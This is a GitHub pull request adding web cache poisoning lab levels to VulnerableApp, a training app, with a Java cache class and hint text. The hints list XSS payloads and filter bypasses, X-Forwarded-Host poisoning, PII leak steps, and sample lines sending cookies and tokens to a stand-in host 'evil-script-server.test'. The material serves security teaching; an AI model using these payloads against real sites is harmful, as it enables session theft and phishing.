Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
23 commits
Select commit Hold shift + click to select a range
ccf7a26
Add cache poisoning level 1 vulnerability
luks-santos Mar 16, 2026
0f9071a
Refine cache poisoning level 1 UI
luks-santos Mar 16, 2026
7cda09c
Add cache poisoning level 2 demo
luks-santos Mar 18, 2026
242e14a
Implement remaining cache poisoning levels
luks-santos Mar 22, 2026
52dfc41
Merge branch 'master' of github.com:luks-santos/VulnerableApp into fe…
luks-santos Mar 22, 2026
c1816bc
Merge branch 'master' of github.com:luks-santos/VulnerableApp into fe…
luks-santos Mar 23, 2026
6049137
refactor: reuse doGetAjaxCall in levels 1-5 and pass xhr to callbacks
luks-santos Apr 1, 2026
3bae76d
feat: add reset cache button for all levels
luks-santos Apr 3, 2026
230afec
refactor: move level-specific templates to common directory for Cache…
luks-santos Apr 7, 2026
179777a
feat: make Cache Poisoning Level 1 vulnerable to XSS
luks-santos Apr 7, 2026
daf19fd
docs: add links for Web Cache Poisoning videos
luks-santos Apr 11, 2026
2673d64
refactor: enhance cache poisoning theory and fix level 3 simulation
luks-santos Apr 12, 2026
ba62756
feat: improve level 3 vulnerability visualization
luks-santos Apr 15, 2026
5afcb79
feat: expose multiple attack vectors per Cache Poisoning level
luks-santos Apr 16, 2026
f0f30a9
docs: add alternative payloads to Cache Poisoning hints
luks-santos Apr 16, 2026
447b47c
feat: enrich level 4 PII leak and tighten Cache Poisoning lab
luks-santos Apr 17, 2026
0c4c504
Merge branch 'master' of github.com:luks-santos/VulnerableApp into fe…
luks-santos Apr 17, 2026
dc2f4d4
test: add cache poisoning coverage for XSS payloads and level 4 PII leak
luks-santos Apr 17, 2026
cd2b4a4
fix: format code
luks-santos Apr 17, 2026
5e7d8bc
Refactor cache poisoning templates by level
luks-santos Apr 25, 2026
5d02696
Move cache reset out of each level handler into a single POST endpoin…
luks-santos Apr 25, 2026
de130b0
Fix cache poisoning cache reset behavior
luks-santos Apr 26, 2026
4178173
feat: add browser cache toggle to cache poisoning levels 1-4
luks-santos Apr 28, 2026
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view

Large diffs are not rendered by default.

Original file line number Diff line number Diff line change
@@ -0,0 +1,39 @@
package org.sasanlabs.service.vulnerability.cachePoisoning;

import java.time.Duration;
import java.time.Instant;

public class CachedResponse {

private final String cacheKey;
private final String content;
private final Instant createdAt;
private final Duration ttl;

public CachedResponse(String cacheKey, String content, Instant createdAt, Duration ttl) {
this.cacheKey = cacheKey;
this.content = content;
this.createdAt = createdAt;
this.ttl = ttl;
}

public boolean isExpired(Instant now) {
return !createdAt.plus(ttl).isAfter(now);
}

public String getCacheKey() {
return cacheKey;
}

public String getContent() {
return content;
}

public Instant getCreatedAt() {
return createdAt;
}

public Duration getTtl() {
return ttl;
}
}
Original file line number Diff line number Diff line change
Expand Up @@ -58,7 +58,9 @@ public enum VulnerabilityType {
USERNAME_ENUMERATION(204, null),

// LDAP Injection Vulnerability
LDAP_INJECTION(90, 29);
LDAP_INJECTION(90, 29),

WEB_CACHE_POISONING(null, null);

private Integer cweID;
private Integer wascID;
Expand Down
55 changes: 55 additions & 0 deletions src/main/resources/attackvectors/CachePoisoningPayload.properties
Original file line number Diff line number Diff line change
@@ -0,0 +1,55 @@
CACHE_POISONING_PAYLOAD_LEVEL_1=This level simulates a shared cache that stores the response only by route.</br>\
<b>How to exploit this level?</b><br/>\
1. Call <code>/VulnerableApp/CachePoisoning/LEVEL_1?banner=FAKE%20URGENT%20UPDATE</code> to poison the cache.<br/>\
2. Call <code>/VulnerableApp/CachePoisoning/LEVEL_1</code> without the query parameter.<br/>\
3. The second response is served from cache and still contains the poisoned banner.
CACHE_POISONING_PAYLOAD_LEVEL_1_XSS=Since the banner is reflected without escaping, we can inject a script.</br>\
<b>How to exploit?</b><br/>\
1. Call <code>/VulnerableApp/CachePoisoning/LEVEL_1?banner=%3Cscript%3Ealert(document.cookie)%3C/script%3E</code>.<br/>\
2. All users accessing <code>/VulnerableApp/CachePoisoning/LEVEL_1</code> will now execute the script due to the poisoned cache.<br/>\
<b>Alternative payloads:</b> <code>&lt;img src=x onerror=alert(document.cookie)&gt;</code>, <code>&lt;svg onload=alert(document.cookie)&gt;</code>, <code>&lt;iframe src="javascript:alert(document.cookie)"&gt;</code>.
CACHE_POISONING_PAYLOAD_LEVEL_2=This level adds a naive filter that removes only obvious script payloads, but the cache key is still based on the route alone.</br>\
<b>How to exploit this level?</b><br/>\
1. Call <code>/VulnerableApp/CachePoisoning/LEVEL_2?banner=%3Cb%3EURGENT%20STATUS%20UPDATE%3C/b%3E</code> to poison the cache with harmless-looking HTML.<br/>\
Comment thread
luks-santos marked this conversation as resolved.
2. Call <code>/VulnerableApp/CachePoisoning/LEVEL_2</code> without the query parameter.<br/>\
3. The victim still receives the cached attacker-controlled response even though the app tried to filter the input.<br/>\
<b>Alternative payloads:</b> <code>&lt;a href="https://phishing.example"&gt;Reauthenticate here&lt;/a&gt;</code> (phishing link), <code>&lt;h1 style="color:red"&gt;SYSTEM BREACH - CALL SUPPORT 1-800-SCAM&lt;/h1&gt;</code> (social engineering), <code>&lt;marquee&gt;Service outage: please resend payment&lt;/marquee&gt;</code> (misleading notice).
CACHE_POISONING_PAYLOAD_LEVEL_2_XSS=Obvious script tags are filtered, but we can use HTML event handlers.</br>\
<b>How to exploit?</b><br/>\
1. Call <code>/VulnerableApp/CachePoisoning/LEVEL_2?banner=%3Cimg%20src=%22x%22%20onerror=%22alert(document.cookie)%22%3E</code>.<br/>\
2. The server-side filter misses this, and the cache stores the malicious image tag, causing XSS for everyone.<br/>\
<b>Alternative bypasses:</b> <code>&lt;svg onload=alert(document.cookie)&gt;</code>, <code>&lt;input autofocus onfocus=alert(document.cookie)&gt;</code>, <code>&lt;body onload=alert(document.cookie)&gt;</code>. The naive filter only strips <code>&lt;script&gt;</code> tags and the <code>javascript:</code> scheme, so any other event handler bypasses it.
CACHE_POISONING_PAYLOAD_LEVEL_3=The cache key is URI + <code>banner</code>. The trap is <code>X-Forwarded-Host</code>: it is reflected into the response's asset URL but is <b>not</b> part of the key (it is an <b>unkeyed header</b>). Poison the host once and every victim requesting the same banner gets it from cache.</br>\
<b>How to exploit (in the lab):</b><br/>\
1. Type <code>shared-status</code> in <i>Shared banner key</i>, <code>attacker.example</code> in <i>Attacker forwarded host</i>, click <b>Poison cache</b>. Check <code>X-Cache-Key</code>: only the banner is in it.<br/>\
2. Click <b>Send victim request</b> using only the same banner.<br/>\
3. Asset URL still points to <code>attacker.example</code>; <code>X-Cache-Status: HIT</code> confirms the poison.<br/>\
<b>Alternative payloads</b> (<b>Reset cache</b> &rarr; same banner, new value in <i>Attacker forwarded host</i> &rarr; <b>Poison cache</b> &rarr; <b>Send victim request</b>):<br/>\
&nbsp;&nbsp;&bull; <code>login-cdn.test</code> &mdash; CDN typosquat for phishing<br/>\
&nbsp;&nbsp;&bull; <code>192.168.1.1</code> &mdash; force request to an internal IP (SSRF-adjacent)<br/>\
&nbsp;&nbsp;&bull; <code>cdn-backup.test</code> &mdash; impersonate a legitimate backup CDN
CACHE_POISONING_PAYLOAD_LEVEL_3_JS_INJECTION=The asset host is attacker-controlled (see base payload), so every victim on the same banner key loads the attacker's JS - stored XSS scoped to that cached route.</br>\
<b>How to exploit (in the lab):</b><br/>\
1. Same flow as the base payload, but use <code>evil-script-server.test</code> as the host.<br/>\
2. Open DevTools &rarr; <b>Network tab</b> and observe the failed request to <code>evil-script-server.test</code>. The failure is expected (placeholder domain). In a real attack the adversary owns the host and the JS runs in the victim's origin.<br/>\
<b>Impact:</b> Origin takeover - JS has access to the victim's DOM, cookies, and storage.<br/>\
<b>Alternative payloads</b> (JS the attacker would serve at <code>/assets/cache-poisoning-demo.js</code>; cannot run in the lab, but illustrate real-world impact):<br/>\
&nbsp;&nbsp;&bull; <code>fetch("https://evil-script-server.test/?c="+document.cookie)</code> &mdash; cookie exfil<br/>\
&nbsp;&nbsp;&bull; <code>document.body.innerHTML="&lt;h1&gt;Defaced&lt;/h1&gt;"</code> &mdash; defacement<br/>\
&nbsp;&nbsp;&bull; <code>new Image().src="https://evil-script-server.test/?k="+localStorage.getItem("token")</code> &mdash; token exfil via image beacon (bypasses fetch-only CSP)
CACHE_POISONING_PAYLOAD_LEVEL_4=This level no longer trusts forwarding headers (the LEVEL_3 lesson is fixed), but it introduces a different unkeyed input: the <code>demo_user</code> cookie. The server reads the cookie to render personalized PII (username, email and last login IP) into the response body, then sends <code>Cache-Control: public, max-age=60</code> while the cache key stays route-only. Because the cookie never participates in the cache key, the first requester's personalized response is stored once and replayed to everyone else for the next 60 seconds. The poisoning primitive here is not injection - it is the mismatch between <i>"this body depends on the cookie"</i> and <i>"this body is safe to share with strangers"</i>.</br>\
<b>How to exploit this level?</b><br/>\
1. As the first requester (the "victim" whose data will leak), call <code>/VulnerableApp/CachePoisoning/LEVEL_4</code> with cookie <code>demo_user=alice</code>. The response body now contains <code>Logged in as: alice</code>, <code>alice@vulnerableapp.local</code> and her deterministic last login IP. Inspect <code>X-Cache-Status: MISS</code> and <code>X-Cache-Key</code> - the key is just the route, the cookie is nowhere in it.<br/>\
2. From a clean browser (or a different machine, or curl with no cookies), call <code>/VulnerableApp/CachePoisoning/LEVEL_4</code> <b>without</b> sending any cookie.<br/>\
3. The shared cache matches the same route-only key and replays Alice's personalized body to you. <code>X-Cache-Status: HIT</code> confirms it. You are not Alice and you sent no cookie, but you just received her username, email and last login IP.<br/>\
<b>Impact:</b> PII disclosure across user boundaries with zero authentication required from the attacker. The attacker only needs to time their request inside the cache TTL after a real user populates the entry. This is the same class of bug behind real-world incidents where shared CDNs returned one user's account page to anonymous visitors (Stack Overflow 2016, Steam 2015) - the application "works correctly" per request, but the cache layer turns a private response into a public one.<br/>\
<b>Alternative payloads:</b> <code>demo_user=ceo</code> (leak the C-suite account's email and login IP), <code>demo_user=billing</code> (leak the billing role's PII), <code>demo_user=support</code> (leak the support team's identity for targeted phishing). Any cookie value that produces "interesting" personalization can be poisoned the same way - the vulnerability is the cache policy, not the value.
CACHE_POISONING_PAYLOAD_LEVEL_5=The previous levels' primitives are all defused. Untrusted forwarding headers are ignored when building asset URLs, the banner is HTML-escaped, and personalized responses are marked <code>Cache-Control: private, no-store</code> so the shared cache cannot store or reuse them across users.</br>\
<b>What to verify (in the lab):</b><br/>\
1. Replay the L3 attack: type any value in <i>Optional banner preview</i> and <code>attacker.example</code> in <i>Optional forwarded host</i>, click <b>Poison cache</b>. The asset URL stays on the trusted host, not <code>attacker.example</code>.<br/>\
2. Replay the L4 attack: set <i>Personalized demo_user</i> to <code>admin</code>, click <b>Poison cache</b>. Click <b>Send guest request</b> without the cookie - the response is fresh, no admin PII leaks.<br/>\
3. On every request, diagnostics show <code>Cache-Control: private, no-store</code> and <code>X-Cache-Status: MISS</code>. The shared cache never stores the response.<br/>\
<b>Why is this safe?</b><br/>\
&nbsp;&nbsp;&bull; <b>Trusted asset host</b> &mdash; the server hardcodes <code>static.vulnerableapp.local</code> instead of reading <code>X-Forwarded-Host</code>, so the L3 unkeyed-header trick has nothing to inject.<br/>\
&nbsp;&nbsp;&bull; <b>Private cache policy</b> &mdash; <code>private, no-store</code> tells shared caches "do not store this response", so the L4 PII leak cannot happen.<br/>\
&nbsp;&nbsp;&bull; <b>Banner is escaped</b> &mdash; HTML special characters are encoded, neutralizing the L1/L2 XSS primitives even if a stale entry were ever served.
21 changes: 21 additions & 0 deletions src/main/resources/i18n/messages.properties
Original file line number Diff line number Diff line change
Expand Up @@ -226,6 +226,7 @@ of the application and result in complete compromise of the system. <br/><br/> I

#### AttackVector description
JWT_URL_EXPOSING_SECURE_INFORMATION=The request contains JWT token which is leaked in the URL. This can violate PCI and most organizational compliance policies.
HEADER_INJECTION_VULNERABILITY=It tests how a JWT header can be manipulated to alter the signature verification.
COOKIE_CONTAINING_JWT_TOKEN_SECURITY_ATTRIBUTES_MISSING=Cookie based JWT token but without Secure/HttpOnly flags and also without cookie prefixes.
COOKIE_WITH_HTTPONLY_WITHOUT_SECURE_FLAG_BASED_JWT_VULNERABILITY=Cookie based JWT token but with HttpOnly flag but without Secure flag and also without cookie prefixes.
COOKIE_BASED_LOW_KEY_STRENGTH_JWT_VULNERABILITY=Cookie based JWT token signed using Weak key vulnerability.
Expand Down Expand Up @@ -398,3 +399,23 @@ AUTH_LEVEL_8_WEAK_PASSWORD=Credentials are passed in the POST body to avoid URI
AUTH_LEVEL_9_SECURE=Secure baseline: Credentials passed in the POST body, BCrypt hashing with unique salts, and a generic \"Invalid credentials\" error message regardless of the failure cause, preventing cracking and enumeration.
AUTH_PAYLOAD_LEVEL_8=Try logging in with 'admin_weak' and a common weak password (hint: it starts with 'password'). Even with strong BCrypt hashing, a weak password can be easily guessed.
AUTH_PAYLOAD_LEVEL_9=This is the secure implementation. Try to enumerate usernames or crack the hash \u2014 you will find it significantly more difficult!


# Cache Poisoning Vulnerability
CACHE_POISONING_VULNERABILITY=Web Cache Poisoning occurs when an attacker manipulates a shared web cache\u2014such as a <b>CDN</b>, <b>Reverse Proxy</b>, or <b>Load Balancer</b>\u2014to store a malicious or unintended response. These systems are designed to optimize performance by serving cached versions of frequently requested resources to reduce latency and backend load. The attack succeeds when there is a discrepancy between the <b>Cache Key</b> (the set of request attributes the cache uses to identify a resource) and the application's processing logic. By manipulating <b>unkeyed inputs</b> (headers, cookies, or parameters that are reflected in the response but not included in the cache key), an attacker can "poison" the cache for a specific resource. Once stored, this poisoned response is served to all subsequent users requesting that resource until the cache entry expires or is cleared.<br/><br/>\
Important Links:<br/>\
<ol> <li> <a href="https://owasp.org/www-community/attacks/Cache_Poisoning" target="_blank">OWASP Cache Poisoning</a> \
Comment thread
luks-santos marked this conversation as resolved.
<li> <a href="https://portswigger.net/web-security/web-cache-poisoning" target="_blank">PortSwigger Web Cache Poisoning</a> \
<li> <a href="https://www.rfc-editor.org/rfc/rfc9111.html" target="_blank">RFC 9111 - HTTP Caching</a> \
<li> <a href="https://www.youtube.com/watch?v=r2NWdLvb_lE&list=PLGb2cDlBWRUUvoGqcCF1xe86AaRXGSMT5" target="_blank">Youtube Lab: Web cache poisoning</a> \
<li> <a href="https://www.youtube.com/watch?v=bDxYWGxuVqE&t=1s" target="_blank">Youtube: Novel Web Cache Poisoning Techniques</a> \
</ol>
CACHE_POISONING_LEVEL_1_ROUTE_ONLY_CACHE_KEY=This level demonstrates a cache key that only includes the request path (route). The application reflects a query parameter in the response but does not include it in the cache key. An attacker can poison the resource for all users by providing a malicious parameter in the first request.
CACHE_POISONING_LEVEL_1_XSS=Cross-Site Scripting (XSS) via Cache Poisoning. Since the banner parameter is reflected without sanitization and the cache only keys on the route, an attacker can store a malicious script in the cache that will execute for all subsequent users.
CACHE_POISONING_LEVEL_2_NAIVE_FILTER=This level attempts to fix the issue by stripping script tags from the input, but the cache key still only uses the route. Attackers can still poison the cache with misleading content or other HTML payloads that bypass the naive filter.
CACHE_POISONING_LEVEL_2_XSS=XSS via Cache Poisoning with Filter Bypass. The application strips obvious <script> tags, but does not sanitize other HTML attributes. Attackers can use event handlers like 'onerror' in tags like <img> to execute scripts and poison the cache.
CACHE_POISONING_LEVEL_3_UNKEYED_FORWARDED_HOST=This level includes the query parameter in the cache key but still trusts the <code>X-Forwarded-Host</code> header to build absolute URLs for assets. Since the shared cache does not include this header in its key (Unkeyed Header), an attacker can poison the asset host for all subsequent visitors.
CACHE_POISONING_LEVEL_3_JS_INJECTION=JavaScript Injection via Cache Poisoning. Since the application trusts the X-Forwarded-Host header to build asset URLs, an attacker can poison the cache to point to a malicious domain, causing all users to load and execute external scripts.
CACHE_POISONING_LEVEL_4_PUBLIC_CACHE_PERSONALIZED_CONTENT=This level demonstrates the danger of caching personalized content (driven by cookies) as public. The response body varies per user (username, email, last login IP) because it reads the <code>demo_user</code> cookie, but the cookie is an <b>unkeyed input</b> - it never participates in the cache key. The shared cache stores the response under the route alone with <code>Cache-Control: public</code>, so the first requester's PII is served to every subsequent visitor for the rest of the TTL.
CACHE_POISONING_LEVEL_5_SECURE_CACHE_POLICY=This secure level demonstrates proper cache isolation. It ignores untrusted forwarding headers and marks personalized or sensitive responses as <code>private</code> and <code>no-store</code>, preventing shared caches from storing and reusing them across different users.

Loading
Loading